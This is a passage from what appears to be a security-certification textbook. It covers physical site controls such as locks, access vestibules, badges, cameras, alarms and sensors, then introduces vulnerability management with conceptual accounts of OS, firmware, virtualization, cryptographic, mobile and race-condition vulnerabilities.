decoy areas to draw out potential threat actors.

• Try to minimize traffic passing between zones. The flow of people should be “in
and out” rather than “across and between.”

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• Give high-traffic public areas high visibility to hinder the covert use of gateways,
network access ports, and computer equipment, and simplify surveillance.

• In secure zones, position display screens or input devices away from pathways
or windows. Use one-way glass only visible from the inside out so no one can
look in through windows.

Gateways and Locks

To secure a gateway it must be fitted with a lock. A secure gateway will normally be
self-closing and self-locking rather than dependent on the user to close and lock it.
Lock types can be categorized as follows:
• Physical—are conventional locks that prevent the door handle from being
operated without using a key. More expensive types offer greater resistance
against lock picking.

• Electronic—are locks, rather than a key, that operate by entering a PIN on an

electronic keypad. This type of lock is also referred to as cipher, combination, or
keyless. A smart lock may be opened using a magnetic swipe card or feature a
proximity reader to detect the presence of a physical token, such as a wireless
key fob or smart-card.

Generic examples of locks—From left to right: a standard key lock, a deadbolt lock, and an
electronic keypad lock. (Images from user macrovector © 123RF.com.)

• Biometric—is a lock integrated with a biometric scanner.

Generic examples of a biometric thumbprint scanner lock and a token-based key card lock.
(Images from user macrovector © 123RF.com.)

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Access Control Vestibule (Mantrap)

An access control vestibule, also known as a mantrap, is a security measure that
regulates entry to a secure area. It involves two doors or gates that interlock and
permit only one individual to pass through at a time. The first door opens after
the person is granted access via an access control system, such as a card reader
or biometric scanner. Once the person enters the vestibule, the first door shuts.
The second door opens only when the first door is firmly shut. This guarantees
only one person can enter or exit at a time, preventing unauthorized access or
tailgating. Access control vestibules are frequently used in high-security settings like
datacenters, government buildings, and financial institutions to offer an additional
layer of physical security control. They effectively deter unauthorized access to
secure areas and safeguard sensitive assets against potential physical attacks.

Cable Locks
Cable locks attach to a secure point on the device chassis. A server chassis might
come with both a metal loop and a Kensington security slot. As well as securing the
chassis to a rack or desk, the position of the secure point prevents the chassis from
being opened without removing the cable first.

Access Badges
Access badges are a fundamental component of physical security in larger
organizations where control over access to various locations is critical. Plastic cards
embedded with magnetic strips, radio frequency identification (RFID) chips, or
near-field communication (NFC) technology are issued to authorized individuals,
such as employees, contractors, or visitors instead of physical keys. Access badges
replace physical keys but provide access similarly. This is achieved by requiring the
badge to be swiped, tapped, or brought into proximity with a reader at the access
point, like a door or turnstile. The reader communicates with a control system to
verify the badge’s authenticity and the level of access granted to the badge holder.
If the system recognizes the badge as valid and authorized for that area, the door
unlocks, granting access.
It is important to note that implementing this type of access control system requires
magnetic door-locking mechanisms and access card readers, which depend upon
electrical power and network communications at each access point (such as a
doorway.)

A physical access control system (PACS) is a critical component in managing and

maintaining security within a facility. It is a system designed to control who can access
specific locations within a building or site. The PACS operates through a combination of
hardware and software, including access cards or badges, card readers, access control
panels, and a centralized control network. The PACS system provides valuable badge
access activity logging capabilities.

In addition to controlling access, access badges also serve as a form of

identification, displaying pertinent information about the badge holder, such
as their name, title, and photograph. This aids in quickly identifying individuals
within a facility and verifying that they are in an area appropriate for their role or
purpose. Moreover, access badges can provide valuable data for security audits and
investigations. Each time a badge is used, a PACS system can log the time, location,
and identity associated with the access event. This can be crucial in investigating
security breaches, understanding movement patterns, and even planning
emergency evacuation strategies.

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Security Guards and Cameras

Surveillance is typically a second layer of security designed to improve the resilience
of perimeter gateways. Surveillance may be focused on perimeter areas or within
security zones. Human security guards, armed or unarmed, can be placed in
front of and around a location to protect it. They can monitor critical checkpoints
and verify identification, allow or disallow access, and log physical entry events.
They also provide a visual deterrent and can apply their knowledge and intuition
to potential security breaches. The visible presence of guards is a very effective
intrusion detection and deterrence mechanism, but it is correspondingly expensive.
It may not be possible to place security guards within certain zones because they
cannot be granted the appropriate security clearance. Training and screening of
security guards is imperative.
Video surveillance is a cheaper means of providing surveillance than maintaining
separate guards at each gateway or zone, though it is still not cheap to set up if the
infrastructure is not already in place on the premises. It is also quite an effective
deterrent. The other big advantage is that movement and access can be recorded.
The main drawback compared to the presence of security guards is that response
times are longer, and security may be compromised if not enough staff are in place
to monitor the camera feeds.

CCTV installed to monitor a server room. (Image by Dario Lo Presti © 123RF.com.)

The cameras in a CCTV network are typically connected to a multiplexer using

coaxial cabling. The multiplexer can then display images from the cameras on
one or more screens, allow the operator to control camera functions and record
the images to tape or hard drive. Newer camera systems may be linked in an IP
network using regular data cabling.

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Camera systems and robotics can use AI and machine learning to

implement smart physical security (theverge.com/2018/1/23/16907238/
artificial-intelligence-surveillance-cameras-security):
• Motion Recognition—Occurs when the camera system is configured with gait
identification technology. This means the system can generate an alert when
anyone within sight of the camera moves in a pattern that does not match a
known and authorized individual.

• Object Detection—Occurs when the camera system can detect changes to the
environment, such as a missing server or unknown device connected to a wall
port.

• Drones/UAV—cameras mounted on drones can cover wider areas than ground-

based patrols (zdnet.com/article/best-security-surveillance-drones-for-business).

Alarm Systems and Sensors

Alarms play a vital role in physical security by supplementing other security
controls. Alarms alert security personnel and building occupants of potential
threats or breaches. They are both detective and deterrent controls, notifying
of trouble and discouraging unauthorized access and criminal activity. Alarms
are often integrated with other physical security controls, such as access control
systems, surveillance cameras, or motion sensors, to enhance their effectiveness.
The following list describes several common types of alarms:
• Circuit—Uses a circuit-based alarm that sounds when the circuit is opened or
closed, depending on the type of alarm. For example, this could be a door or
window opening or by a fence being cut. A closed-circuit alarm is more secure
because it cannot be defeated by cutting the circuit like an open-circuit alarm.

• Motion Detection—Uses a motion-based alarm linked to a detector that is

triggered by any movement within an area such as a room (defined by the
sensitivity and range of the detector). The sensors in these detectors are either
microwave radio reflection (similar to radar) or passive infrared (PIR), which
detect moving heat sources.

• Noise Detection—Uses an alarm triggered by sounds picked up by a

microphone. Modern AI-backed analysis and identification of specific types of
sound can render this type of system less prone to false positives.

• Proximity—Uses radio frequency ID (RFID) tags and readers to track the

movement of tagged objects within an area. This allows an alarm system to
detect whether someone is trying to remove equipment.

• Duress—Uses an alarm triggered manually by staff if they come under threat.

There are many ways of implementing this type of alarm, including wireless
pendants, concealed sensors or triggers, and DECT handsets or smartphones.
Some electronic entry locks can also be programmed with a duress code
different from the ordinary access code. This will open the gateway but also alert
security personnel that the lock has been operated under duress.

Circuit-based alarms are suited for use at the perimeter and on windows and doors.
These may register when a gateway is opened without using the lock mechanism
properly or when a gateway is held open for longer than a defined period. Motion
detectors are useful for controlling access to spaces not normally used. Duress
alarms are useful for exposed staff in public areas. An alarm might simply sound
like an alert or be linked to a monitoring system. Many alarms are linked directly
to local law enforcement or third-party security companies. A silent alarm alerts
security personnel rather than sounding an audible alarm.

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Sensor Types
Sensors are critical in implementing physical security measures, providing proactive
detection and alerting capabilities against potential security breaches. These
devices can employ various technologies, including infrared, pressure, microwave,
and ultrasonic systems, each with unique advantages and suitable applications.
• Infrared sensors are commonly used in motion detection systems. They detect
changes in heat patterns caused by moving objects, such as a human intruder.
These are often used in residential and commercial security systems, triggering
alarms or activating security lights when detecting motion.

• Pressure sensors are typically installed inside floors or mats and are activated
by weight. They can be used in high-security areas to detect unauthorized access
or even in retail environments to count foot traffic.

• Microwave sensors emit microwave pulses and measure the reflection off
a moving object. They are often combined with infrared detectors in dual-
technology motion sensors. These sensors are less likely to trigger false alarms,
as the infrared and microwave sensors must be tripped simultaneously to trigger
an alarm. These can be useful in securing large outdoor areas like parking lots or
fenced areas.

• Ultrasonic sensors emit sound waves at frequencies above the range of human
hearing and measure the time it takes for the waves to return after hitting an
object. They are often used in automated lighting systems to switch lights on
when someone enters a room and switch them off again when the room is
empty.

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Review Activity:
Physical Security
6

Answer the following questions:

1. What physical site security controls act as deterrents?

2. How might a proximity reader be used for site security?

2.

3. What type of sensor detects changes in heat patterns caused by moving

3.

objects?

4. What is a bollard?
4.

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Lesson 7
Summary
5

You should be able to explain the importance of asset mangement, resiliency

concepts, and physical security controls in support of cybersecurity operations.

Guidelines for Asset Management and

Resiliency Controls
The following are important asset management concepts:
• Perform asset identification

• Catalog all assets, both physical and intangible, owned by an organization

• Include key information such as asset type, location, value, and ownership.

• Implement asset lifecycle management

• This includes rules for procurement, maintenance, depreciation, and eventual

retirement or replacement of an asset.

• Perform asset tracking

• Keep track of the location and status of assets, especially those that are
mobile or prone to theft.

• Understand regulatory compliance requirements

• Certain assets, such as those related to health and safety, data protection,
or environmental impact must be managed in compliance with specific
regulations to avoid legal penalties.

• Perform disaster recovery and business continuity planning

• Plans should be in place to quickly replace or restore critical assets in case of

disasters.

• Secure asset disposal

• Using legally compliant and secure methods to destroy data

Ensure adequate capacity planning for people, technology, and infrastructure.

• Implement high availability strategies including the following:

• Scalability and elasticity

• Fault tolerance and redundancy

• Clustering

• Site resiliency

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• Using risk assessments, identify assets that have high availability requirements
and provision redundancy to meet this requirement:

• Hot, warm, or cold site resources to recover from disasters.

• Use dual power supply, PDUs, PSUs, and generators to make the power
system resilient.

• Use NIC teaming, multiple paths, and load balancing to make networks
resilient.

• Use RAID and multipath I/O to make storage resilient.

• Implement diversity in technologies and controls.

• Perform comprehensive testing of resiliency capabilities.

Follow these guidelines for deploying or upgrading physical security controls:

• If possible, design sites as zones to maximize access controls and surveillance for
the most secure areas, using industrial camouflage, perimeter network, air gaps,
vaults, and safes where applicable.

• Secure the site perimeter and access points using fencing, barricades/bollards,
and locks (physical, electronic, and biometric). If using smart cards, use a type
that is resistant to cloning/skimming.

• Monitor the site using security guards, CCTV, and drones/UAV, and use effective
lighting to maximize surveillance.

• Deploy an alarm system (circuit, motion-based, proximity, and/or duress) to

detect intrusion.

• Use ID badges to authorize access.

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 Lesson 8
Explain Vulnerability Management
1

LESSON INTRODUCTION
Vulnerability management is critical to any organization’s cybersecurity strategy,
encompassing identifying, evaluating, treating, and reporting security vulnerabilities
in operating systems, applications, and other components of an organization’s IT
operations. Vulnerability management may involve patching outdated systems,
hardening configurations, or upgrading to more secure versions of operating
systems. For applications, it might include code reviews, security testing, and
updating third-party libraries.
Vulnerability scanning is a crucial component of this process, with specialized
tools utilized to identify potential weaknesses in an organization’s digital assets
automatically. These tools scan for known vulnerabilities such as open ports,
insecure software configurations, or outdated versions. Post scanning, analysis
is performed to validate, classify, and prioritize the identified vulnerabilities for
remediation based on factors such as the potential impact of a breach, the ease of
exploiting the vulnerability, and the importance of the asset at risk. This continuous
cycle of assessment and improvement helps organizations maintain safe and
secure computing environments.

Lesson Objectives
In this lesson, you will do the following:
• Describe the importance of vulnerability management.

• Explain security concerns associated with general and application-specific

vulnerabilities.

• Summarize vulnerability scanning techniques.

• Explain vulnerability analysis concepts.

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Topic 8A
Device and OS Vulnerabilities
2

EXAM OBJECTIVES COVERED

2.3 Explain various types of vulnerabilities.

Operating systems, including mobile operating systems, are a common target

for cyberattacks. Managing vulnerabilities in these systems plays a central role in
cybersecurity operations. Vulnerabilities are introduced from various sources, such
as flaws in the operating system’s design, errors in its code, or insecure default
settings. Attackers can exploit these vulnerabilities to gain unauthorized access,
disrupt operations, or steal sensitive information.
Additional concerns arise in mobile operating systems due to factors like the
diversity of devices and operating system versions, bypassing operating system
protections, and using apps downloaded outside official app stores. Identifying and
managing vulnerabilities often involves keeping operating systems updated with the
latest patches, hardening system configurations, carefully managing user privileges,
and controlling software applications.

Operating System Vulnerabilities

Operating systems (OS) are one of the most critical components of any
infrastructure, so vulnerabilities in an OS can lead to significant problems
when successfully exploited.
Microsoft Windows has an extensive feature set and broad user base, especially
among large organizations and governments. Its vulnerabilities often include
buffer overflows, input validation problems, and privilege flaws typically exploited
to install malware, steal information, or gain unauthorized access. Windows is an
important target for attackers because of its large install base. Large corporations
and governments heavily depend upon it which compounds the significance of its
vulnerabilities.
Apple’s macOS vulnerabilities often stem from its UNIX-based architecture, and
weaknesses generally appear in access controls, secure boot processes, and
third-party software. Apple macOS has a smaller user base than Windows, but its
popularity has grown significantly. Generally, macOS is perceived as being, ‘safer’
than other operating systems, which can lead to complacency.
Linux is a prevalent server OS but can also be used as a desktop or mobile OS. The
open-source nature of Linux and the large community of active developers support
a very rapid pace of development. This generally results in quick identification and
repair of vulnerabilities. Kernel vulnerabilities, misconfigurations, and unpatched
systems are common issues in Linux. Despite its reputation for security, its
widespread use in the cloud and server infrastructure makes Linux vulnerabilities
especially significant.

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The widespread adoption of Mobile OS like Android and iOS and their increasing
use as primary computing platforms instead of traditional computers make them
valuable targets for attack and exploitation. Android is open source, like Linux,
resulting in similar benefits and problems. Additionally, Android OS is fragmented
among different manufacturers and versions, resulting in inconsistent patching and
updates support. iOS, while not open source like Android, has also been impacted
by several significant vulnerabilities.
The significance of OS vulnerabilities cannot be overstated, especially as specialized
embedded systems, such as IoT, are added to our surroundings. Each system runs
specialty operating systems and introduces vulnerabilities and potential pathways
into corporate infrastructures.

Example OS Vulnerabilities
• Microsoft Windows—One of the most notorious vulnerabilities in Windows
history was the MS08-067 vulnerability in Windows Server Service. This
vulnerability allowed remote code execution if a specially crafted packet was sent
to a Windows server. This vulnerability was exploited by the Conficker worm in
2008, which infected millions of computers worldwide. Additionally, MS17-010
represents a significant and critical security update released by Microsoft in March
2017. This update addressed multiple vulnerabilities in Microsoft’s implementation
of the Server Message Block (SMB) protocol (a network file-sharing protocol)
that could allow remote code execution (RCE). Essentially, these vulnerabilities, if
exploited, could allow an attacker to install programs; view, change, or delete data;
or create new accounts with full user rights.

The significance of MS17-010 is tied closely to the EternalBlue exploit, which leveraged
the vulnerabilities in early versions of the SMB protocol for malicious purposes. The
most famous misuse of EternalBlue was during the WannaCry ransomware attack
in May 2017, where it was used to propagate the ransomware across networks
worldwide, leading to massive damage and disruption. This event underlined the critical
importance of timely system patching and reinforced the potential global impact of
such vulnerabilities.

• macOS—In 2014, a significant vulnerability called “Shellshock” affected all

Unix-based systems, including macOS. It allowed attackers to potentially gain
control over a system due to a flaw in the Bash shell. Though it originated from
a component in Unix systems, its impact was felt in macOS due to its Unix-based
architecture.

• Android—The Stagefright vulnerability discovered in 2015 is a prominent

example for Android. It allowed attackers to execute malicious code on an
Android device by sending a specially crafted MMS message. This issue was
particularly severe due to the ubiquity of the vulnerable component (the
Stagefright media library) across Android versions and devices.

• iOS—In 2019, Google’s Project Zero team discovered a series of vulnerabilities in

iOS that nation-state attackers were abusing. These “watering hole” attacks took
advantage of several vulnerabilities to gain full access to a device by having the
victim visit a malicious website.

• Linux—The Heartbleed bug in 2014 was a severe vulnerability in many Linux

systems’ OpenSSL cryptographic software library. The vulnerability allowed
attackers to read the systems’ memory running the OpenSSL software’s
vulnerable versions, compromising the secret keys used to protect data.

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Vulnerability Types
Legacy and End-of-Life (EOL) Systems
Hardware vulnerabilities, particularly those associated with end-of-life and legacy
systems, present considerable security challenges for many organizations, as
patches or fixes for vulnerabilities are either unavailable or difficult to apply.
End-of-life (EOL) and legacy systems share a common characteristic: they are
both outdated. EOL systems may be legacy systems, and some legacy systems
are also EOL.
The manufacturer or vendor no longer supports EOL systems, so they do not
receive updates, including critical security patches. This makes them vulnerable to
newly discovered threats. Conversely, while still outdated, the vendor may still fully
support legacy systems.
An EOL system is a specific product or version of a product that the manufacturer
or vendor has publicly declared as no longer supported. It is also possible for
open-source projects to be abandoned by the maintainers. An EOL system can
be a hardware device, a software application, or an operating system. Products
should be replaced or updated before they reach EOL status to ensure they remain
supported by their vendors and receive critical security patches. Notable EOL
product examples include the Windows 7 and Server 2008 operating systems, which
stopped receiving updates in January 2020. These systems are significantly more
vulnerable to attacks due to the absence of security patches for new vulnerabilities.
Despite their EOL status, they are still in use in many environments.
Many devices (peripheral devices especially) remain on sale with known severe
vulnerabilities in firmware or drivers and no possibility of vendor support to
remediate them, especially in secondhand, recertified, or renewed/reconditioned
marketplaces. Examples include recertified computer equipment, consumer-grade
and recertified networking equipment, and various Internet of Things devices.
Legacy systems typically describe outdated software methods, technology,
computer systems, or application programs that continue to be used despite their
shortcomings. Legacy systems often remain in use for extended periods because
the organization’s leadership recognizes that replacing or redesigning them will
be expensive or pose significant operational risks stemming from complexity. The
term “legacy” does not necessarily mean that the vendor no longer supports the
system but rather that it represents hardware and software methods that are
no longer popular and often incompatible with newer architectures or methods.
Legacy systems often remain in use because they operate with sufficient reliability,
have been incorporated into many critical business functions, and are familiar to
long-tenured staff.
Assessing the risks associated with using EOL and legacy products, such as lack of
updates, lack of support, and compatibility issues with newer systems, is crucial.
EOL and legacy product replacements must continue to meet the organization’s
requirements, maintain compatibility with existing infrastructure, and support
reliable data migration. Selection criteria must consider the availability of vendor
support, device warranty details, and marketplace performance/reputation.
Transitioning costs must be carefully assessed, too, including licensing, hardware
upgrades, and professional service implementation fees. The work to transition
away from EOL and legacy products must minimize disruptions and ensure long-
term sustainability.

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Firmware Vulnerabilities
Firmware is the foundational software that controls hardware and can contain
significant vulnerabilities. For instance, the Meltdown and Spectre vulnerabilities
identified in 2018 impacted almost all computers and mobile devices. The
vulnerability was associated with the processors used inside the computer and
allowed malicious programs to steal data as it was being processed. Another
vulnerability, “LoJax,” discovered in the Unified Extensible Firmware Interface
(UEFI) firmware in 2018, enabled an attacker to persist on a system even after a
complete hard drive replacement or OS reinstallation. End-of-life (EOL) hardware
vulnerabilities arise when manufacturers cease providing product updates, parts, or
patches to the firmware.

Virtualization Vulnerabilities
While offering numerous benefits such as cost savings, scalability, and efficiency,
virtualization also introduces unique vulnerabilities. A significant one is the concept
of VM escape. This happens when an attacker with access to a virtual machine
breaks out of this isolated environment and gains access to the host system or
other VMs running on the same host. Such a vulnerability could allow an attacker to
gain control of all virtual machines running on a single physical server, leading to a
potentially devastating security breach.
A famous example is the “Cloudburst” vulnerability in VMware’s virtual machine
display function. The Cloudburst vulnerability, officially designated as CVE-2009-
1244, was a critical security flaw discovered in 2009 in VMware’s ESX Server,
a popular enterprise-level virtualization platform. A vulnerability in the virtual
machine display function allowed a guest operating system to execute code on the
host operating system.
Another significant vulnerability associated with virtualization involves resource
reuse. Virtual machines are frequently created, used, and then deleted in a
virtualized environment. If the resources, such as disk space or memory, are not
properly sanitized between each use, sensitive data could be leaked between virtual
machines. For instance, a new virtual machine may be allocated disk space that was
previously used by another VM, and if this disk space is not properly wiped, the new
VM could recover sensitive data from the previous VM.
Thorough data sanitization practices, ensuring data encryption throughout the
lifecycle, and implementing robust encryption key management practices mitigate
the risk of resource reuse in cloud infrastructure. Training on cloud provider
security features and best practices and segregating resources based on security
levels also mitigates risks.
Virtualization platforms depend upon specialized hypervisors that contain security
vulnerabilities and weaknesses. Attackers exploit hypervisors to gain unauthorized
access and compromise the virtual machines (VMs) running on them. Hypervisors
typically provide specialized management interfaces so administrators can control
and monitor their virtualized environments. These interfaces can become potential
attack vectors if insecure. For example, weak authentication, lack of encryption, or
vulnerabilities in communication protocols can lead to unauthorized access to the
virtualized environment. Like any software, hypervisors have vulnerabilities that
must be regularly patched.

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Zero-Day Vulnerabilities
Zero-day vulnerabilities refer to previously unknown software or hardware flaws
that attackers can exploit before developers or vendors become aware of or have
a chance to fix them. The term “zero-day” signifies that developers have “zero days”
to fix the problem once the vulnerability becomes known. These vulnerabilities are
significant because they can cause widespread damage before a patch is available.
An attacker exploiting a zero-day vulnerability can compromise systems, steal
sensitive data, launch further attacks, or cause other forms of harm, often
undetected. The stealth and unpredictability of zero-day attacks make them
particularly dangerous. They are a favored tool of advanced threat actors, such as
organized crime groups and nation-state attackers, who often use them in targeted
attacks against high-value targets, such as governmental institutions and major
corporations.
Since these vulnerabilities are unknown to the public or the vendor during
exploitation, traditional security measures like antivirus software and firewalls,
which rely on known signatures or attack patterns, are often ineffective against
them. The discovery of a zero-day vulnerability typically triggers a race between
threat actors, who aim to exploit it, and developers, who work to patch it. Upon
discovering a zero-day vulnerability, ethical security researchers usually follow a
process known as responsible disclosure, which is designed to privately inform the
vendor so a patch can be developed before the vulnerability is publicly disclosed.
This practice aims to limit the potential harm caused by discovering a zero-day
vulnerability.

The term “zero-day” is usually applied to the vulnerability itself but can also refer to an
attack or malware that exploits it.

Zero-day vulnerabilities have significant financial value. A zero-day exploit for a

mobile OS can be worth millions of dollars. Consequently, an adversary will only use
a zero-day vulnerability for high-value attacks. State security and law enforcement
agencies are known to stockpile zero-days to facilitate the investigation of crimes.

Misconfiguration Vulnerabilities
Misconfiguration of systems, networks, or applications is a common cause of
security vulnerabilities. These can lead to unauthorized access, data leaks, or
even full-system compromises. These can occur across many areas within an IT
environment, from network equipment and servers to databases and applications.
In a cloud environment, misconfigurations, such as improperly managed access
permissions on storage buckets, can lead to significant data leaks.
Default configurations of systems, applications, or devices are often designed
to prioritize ease of use, setup simplicity, and broad compatibility. However, this
often results in a security trade-off, making these defaults a common source of
vulnerability. For instance, default configurations may enable unnecessary services
that open potential attack vectors or include easily guessable default credentials,
such as ‘admin’ for both username and password. Some systems may have overly
permissive configurations that heavily focus on usability and potentially expose
sensitive information if left unmodified. Network devices like routers and switches
often have default configurations that compromise security, such as well-
documented default credentials and the use of vulnerable management protocols.

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Similarly, cloud services often have default settings that leave data storage
or compute instances publicly accessible. Administrators and engineers must
carefully configure systems, devices, and applications according to the principle of
least privilege and published best practices. This includes changing default login
credentials, tightening access controls, and regularly auditing configurations to
ensure ongoing security, as a minimum.
Providing support to resolve functional issues in an IT environment is an essential
part of maintaining business operations, but it can also inadvertently lead to
misconfigurations and vulnerabilities. For example, while troubleshooting an issue,
a support technician may temporarily disable security features or loosen access
controls to help isolate a problem. If these changes are not reverted after the
issue is resolved, they may leave the system vulnerable. Similarly, installing new
software or modifying existing software configurations can introduce unexpected
vulnerabilities or leave the system less secure. Remote support tools can also
pose a risk if not adequately secured, and an attacker could exploit these tools to
gain access to a system or network. When addressing urgent issues and outages,
especially high-impact ones, best practices for change management are often
bypassed. Changes are made without proper documentation, testing, or approval,
leading to misconfigurations or system instability.

Cryptographic Vulnerabilities
Cryptographic vulnerabilities refer to weaknesses in cryptographic systems,
protocols, or algorithms that can be exploited to compromise data. The significance
of such vulnerabilities is profound, as cryptography forms the backbone of
secure communication and data protection in modern digital systems. Moreover,
weaknesses in cryptographic algorithms themselves can also pose a threat. For
instance, MD5 and SHA-1, once widely used cryptographic hash functions, are now
considered insecure due to vulnerabilities that allow for collision attacks, where two
different inputs produce the same hash output, which is particularly troubling in
scenarios where hashes are used to protect passwords.
Practical examples of cryptographic vulnerabilities include the Heartbleed
vulnerability, which exploited a flaw in the OpenSSL cryptographic library, allowing
attackers to read otherwise secure communication. Another example is the KRACK
(Key Reinstallation Attacks) vulnerability in the WPA2 protocol that protects Wi-Fi
traffic. This vulnerability allows an attacker within range of a victim to intercept and
decrypt some types of sensitive network traffic.
Symmetric and asymmetric encryption algorithms and cipher suites can also have
vulnerabilities that lead to potential security issues. One of the most significant
vulnerabilities in symmetric encryption algorithms is the use of weak keys. The
Data Encryption Standard (DES) algorithm, once a popular symmetric encryption
standard, was found to be vulnerable to brute force attacks due to its 56-bit key
size. The DES, developed in the early 1970s, was first publicly demonstrated to be
vulnerable to brute force attacks in the late 1990s. This led to its replacement by
more secure standards such as Triple DES and eventually the Advanced Encryption
Standard (AES). Triple DES (3DES), which applies the DES algorithm three times
to protect data, was considered significantly more secure than DES when it was
initially introduced.
However, with the continued advancement of computational power and the
discovery of additional attack methods, 3DES vulnerabilities have been found, most
notably the “Sweet32” birthday attack (CVE-2016-2183) published in August 2016.
The US National Institute of Standards and Technology (NIST) officially deprecated
3DES in 2017 and recommended its discontinuation by 2023.

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Some asymmetric encryption algorithms also have vulnerabilities. For instance, RSA,
a widely used public key cryptosystem, can be vulnerable if small key sizes are used
or if the random number generation for creating the keys is weak. Also, if the same
key pair is used for an extended period in an asymmetric scheme, the likelihood of
the key being compromised increases.
Cipher suites, which describe combinations of encryption algorithms used in protocols
like SSL/TLS, can also have vulnerabilities. SSL/TLS is commonly used to secure web
browser sessions, encrypting communication between a browser and a web server
and essentially turning an “http” web address into a secure “https” address. SSL/TLS is
also used for secure email transmission (SMTP, POP, and IMAP protocols), secure voice
over IP (VoIP) calls, and secure file transfers (FTP). In all these cases, SSL/TLS helps
protect sensitive data from being intercepted and read by unauthorized parties. Other
networked applications and services also use SSL/TLS, including VPN connections, chat
applications, and mobile apps that transmit sensitive data.
Prominent examples of attacks against cipher suite vulnerabilities include the BEAST
(Browser Exploit Against SSL/TLS) and POODLE (Padding Oracle On Downgraded
Legacy Encryption) attacks that target weaknesses in the cipher suites used by SSL
and early versions of TLS. Both attacks exploited similar implementation flaws.

Protecting Cryptographic Keys

Generating and protecting cryptographic keys is crucial for ensuring the security
and integrity of sensitive information. The most robust cryptographic system is
rendered useless if the keys used to protect it are weak or poorly guarded.

Kerckhoffs's principle establishes that a cryptosystem should be secure, even if

everything about the system, except the key, is public knowledge.

Cryptographic key generation describes the process of creating cryptographic keys

for encryption, decryption, authentication, or other uses. It is important to use
industry best practice approaches when generating cryptographic keys to ensure
they cannot be guessed or brute-forced. Cryptographic key protection requires
implementing specialized security measures to safeguard keys from unauthorized
access or disclosure, as cryptographic keys are typically nothing more than strings
of alphanumeric characters stored in simple text files.
Common secure key storage practices are secure key storage systems, such
as hardware security modules (HSMs) or key management systems (KMS),
implementing proper access controls and authentication mechanisms, and
regularly monitoring and auditing key usage. Additionally, organizations must
periodically change cryptographic keys (also referred to as key rotation) to mitigate
the risks associated with key breaches and brute force attacks.

Sideloading, Rooting, and Jailbreaking

Mobile devices introduce unique security vulnerabilities related to their operation,
specialized software, ubiquity, and ability to store and collect vast amounts of
personal and professional data.
Rooting and jailbreaking are methods used to gain elevated privileges and access
to system files on mobile devices. This allows users to bypass certain restrictions
imposed by the device manufacturer or operating system.
• Rooting—Involves gaining root access or administrative privileges on an Android
device to modify system files, install custom ROMs (modified operating system
versions), and access features and settings not available to regular users.

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• Jailbreaking—Describes gaining full access to an iOS device (iPhone or iPad) by

removing the limitations imposed by Apple’s iOS operating system. Jailbreaking
allows users to install unauthorized apps, customize the device’s appearance and
behavior, access system files, and bypass restrictions implemented by Apple.

The practice of “sideloading” applications refers to installing applications from

sources other than the official app store of the platform, such as Google’s Play
Store for Android or Apple’s App Store for iOS. While sideloading allows for greater
software flexibility and choice, it poses significant risks as sideloaded apps do not
undergo the same scrutiny and vetting process as those on official app stores. This
makes it easier for malicious apps to be installed, potentially leading to data theft,
privacy breaches, and other issues.
Additionally, apps that require excessive access permissions can raise significant
security and privacy concerns. App permissions should align with the app’s
purpose. Apps with excessive permissions may access sensitive user data without
a legitimate need, including personal information, corporate data, contacts, call
logs, location data, or device identifiers. Granting unnecessary permissions to apps
increases the device’s attack surface and the potential for security vulnerabilities.

The F-Droid Android application store. (Screenshot courtesy of

www.opensecurityarchitecture.org.)

Rooting, sideloading, and jailbreaking offer users greater control and flexibility
over their devices, but they also introduce many risks for organizations. Rooting,
sideloading, and jailbreaking can weaken the security measures implemented by
the device manufacturer and operating system and make it easier for attackers
to exploit vulnerabilities, install malware, or gain unauthorized access to sensitive
corporate information. By enabling access to unverified app stores or installing
apps from unofficial sources, there is an increased risk of downloading malicious or
compromised applications.

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Sideloading is generally associated with Android devices utilizing APK (Android

Application Package) files. While applications can also be sideloaded on Apple
devices, the practice directly violates Apple’s terms and conditions and voids the
device’s warranty. Voiding a device’s warranty eliminates official support from the
manufacturer, meaning the device may no longer receive security patches, bug
fixes, or updates, leaving it vulnerable to new threats and exploits.
Organizations operating in regulated industries such as healthcare or finance must
implement strict policies prohibiting rooting, sideloading, and jailbreaking due
to the increased risk of data breaches and compliance violations. Mobile Device
Management (MDM) platforms can detect and restrict rooting, jailbreaking, and
sideloading. Regular employee education and awareness programs are also crucial
to ensure employees understand the risks associated with these actions and adhere
to the organization’s mobile security policies.
Mobile devices are often susceptible to the same types of vulnerabilities impacting
desktop computers, such as insecure Wi-Fi connections, phishing attacks, and
unpatched software vulnerabilities. Given their portable nature, mobile devices
are also more likely to be lost or stolen, potentially exposing any unencrypted data
stored on the device.

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Review Activity:
Device and OS Vulnerabilities
3

Answer the following questions:

1. You are recommending that a business owner invest in patch

management controls for its PCs and laptops. What is the main
risk from weak patch management procedures on such devices?

2. You are advising a business owner on security for a PC running Windows 7.

2.

The PC runs process management software that the owner cannot run
on Windows 11. What are the risks arising from this, and how can they be
mitigated?

3. As a security solution provider, you are compiling a checklist for your

3.

customers to assess potential vulnerabilities. What vulnerability do the

following items relate to? Default settings, Unsecured root accounts,
Open ports and services, Unsecure protocols, Weak encryption, Errors.

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Topic 8B
Application and Cloud Vulnerabilities
4

EXAM OBJECTIVES COVERED

2.3 Explain various types of vulnerabilities.

Web and cloud-based applications introduce unique vulnerability concerns

stemming from various sources, such as misconfigurations, insecure coding
practices, and the use of third-party components with known vulnerabilities.
Attackers can exploit these weaknesses to gain unauthorized access to sensitive
data, disrupt services, or even compromise entire systems. In a cloud environment,
shared responsibility models and multi-tenant architectures add complexity to
vulnerability management.
To address these concerns, developers and security professionals must employ
secure coding practices, perform regular vulnerability assessments, and implement
robust access controls. It is also essential to keep third-party components
up to date and follow cloud provider-specific security recommendations. By
understanding and proactively managing these vulnerabilities, organizations
can ensure the security and reliability of their web and cloud-based applications,
safeguarding valuable data and resources from potential cyberattacks.

Application Vulnerabilities
Race Condition and TOCTOU
Application race condition vulnerabilities refer to software flaws associated with
the timing or order of events within a software program, which can be manipulated,
causing undesirable or unpredictable outcomes. A race condition describes when
two or more operations must execute in the correct order. When software logic
does not check or enforce the expected order of events, security issues such as
data corruption, unauthorized access, or similar security breaches may occur. Race
conditions manifest in a wide variety of ways, such as time-of-check to time-of-
use (TOCTOU) vulnerabilities, where a system state changes between the check
(verification) stage and the use (execution) stage.
Imagine a scenario where a multi-threaded banking application used one program
thread to check an account balance and another thread to withdraw money. If
an attacker manipulates the sequence of execution in this example, they could
potentially overdraw the account. These vulnerabilities underscore the importance
of atomic operations where checking and execution are done as a single, indivisible
operation, mitigating the likelihood of exploitation.
Two significant examples of race conditions include the Dirty COW Vulnerability
(CVE-2016-5195), which is a race condition vulnerability in the Linux Kernel, allowing
